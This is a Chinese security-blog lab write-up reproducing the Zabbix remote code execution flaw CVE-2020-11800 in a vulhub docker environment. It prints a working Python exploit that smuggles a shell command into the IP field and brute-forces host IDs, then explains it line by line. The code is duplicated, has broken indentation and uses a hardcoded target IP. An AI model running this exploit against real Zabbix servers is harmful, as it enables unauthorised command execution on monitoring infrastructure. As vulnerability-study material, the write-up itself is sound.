freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

漏洞复现--Zabbix远程代码执行漏洞(CVE-2020-11800含EXP)
恒梦安全 2023-08-20 20:14:17 347881

声明:请勿将文章内的相关技术用于非法目的,如有相关非法行为与文章作者和本公众号无关。请遵守《中华人民共和国网络安全法》。

一.漏洞简介

Zabbix是一种由Alexei Vladishev开发的网络监视和管理系统,采用Server-Client架构,用于监控各种网络服务、服务器和网络设备的状态。它提供了实时监控、报警机制、性能统计和数据可视化等广泛功能。然而,尽管Zabbix具有强大的功能,但在过去曾存在一些安全漏洞。例如,在CVE-2017-2824中,Zabbix的Server端trapper command功能存在一处代码执行漏洞。这个功能允许用户通过Zabbix Server发送命令到Agent端执行。然而,由于修复补丁的缺陷,攻击者可以通过IPv6进行绕过并注入任意命令,导致远程代码执行。

二.影响版本

Zabbix 3.0.x~3.0.30

三.靶场搭建

本实验环境采用vulhub快捷搭建,详情请参考官方文档:https://vulhub.org/
在进入vulhub/zabbix/CVE-2020-11800目录后使用docker-compose up -d开启docker靶场

image

然后使用docker ps命令查看当前开启靶场的端口号,可以看到一共开启了三个容,分别是zabbix的server端、web端和mysql服务。

image

我们可以看到zabbix的web端开启在8080端口上,所以我们访问http://your-ip:8080来访问靶场。

image

因为本漏洞利用需要开启自动注册功能,所以使用默认账号/密码(admin/zabbix)去登录zabbix进行配置

image

进入Configuration->Actions后,选择Auto registration,点击Create action(名字随意)

image

image

然后再创建一个Operations,type选择Add Host,然后点击Add添加,再点击Add保存,这样就配置完成了

image

image

四.漏洞复现

由于网上给出的EXP较多,这里我们使用Vulhub官方给出的EXP

import sys
import socket
import json
import sys


def send(ip, data):
    conn = socket.create_connection(('192.168.136.140', 10051), 10)
    conn.send(json.dumps(data).encode())
    data = conn.recv(2048)
    conn.close()
    return data


target = sys.argv[1]
print(send(target, {"request":"active checks","host":"vulhub","ip":"ffff:::;touch /tmp/success2"}))
for i in range(10000, 10500):
    data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
    if data and b'failed' not in data:
        print('hostid: %d' % i)
        print(data)

import sys

def send(ip, data):
conn = socket.create_connection(('192.168.136.140', 10051), 10)
conn.send(json.dumps(data).encode())
data = conn.recv(2048)
conn.close()
return data

  1. 导入模块:代码开始时导入了sys、socket和json模块,这些模块用于处理命令行参数、进行网络通信和处理JSON数据。

  2. send函数:这个函数用于向Zabbix Server发送数据的封装。它使用socket.create_connection建立到目标IP地址和端口10051的连接,然后发送一个JSON格式的数据,并等待响应。最后,它关闭连接并返回响应数据。

  3. 获取目标IP:通过命令行参数获取目标IP地址,这意味着该脚本用于特定的Zabbix Server目标。

  4. 发送数据给Zabbix Server:使用send函数向目标Zabbix Server发送一个JSON请求。这个请求是"active checks"类型的,其中包括主机名和IP地址等参数。这是测试Zabbix系统的活动检查功能。

  5. 循环:在一个hostid范围内,从10000到10500,循环尝试向目标Zabbix Server发送命令请求。这个请求包含了脚本ID和主机ID等参数。

  6. 检查响应数据:如果响应数据不包含"failed"字样,那么打印出hostid和响应数据。这是用于确认命令是否成功执行的部分。
    恒梦小屋,喜欢您来~

# 漏洞 # 渗透测试 # 网络安全 # web安全 # 数据安全
本文为 恒梦安全 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
恒梦安全 LV.4
解锁数字世界的安全密码!专注网络安全服务,为您提供Web、小程序、APP测试,逆向分析、取证、渗透测试等服务。精彩文章,掌握最新威胁和防护策略。共同守护您的数字安全!
  • 10 文章数
  • 5 关注者
一加7pro制作kalinethunter
2023-12-10
溯源手册
2023-09-24
Oneplus3T(A3010)制作kalinethunter教程
2023-09-07
文章目录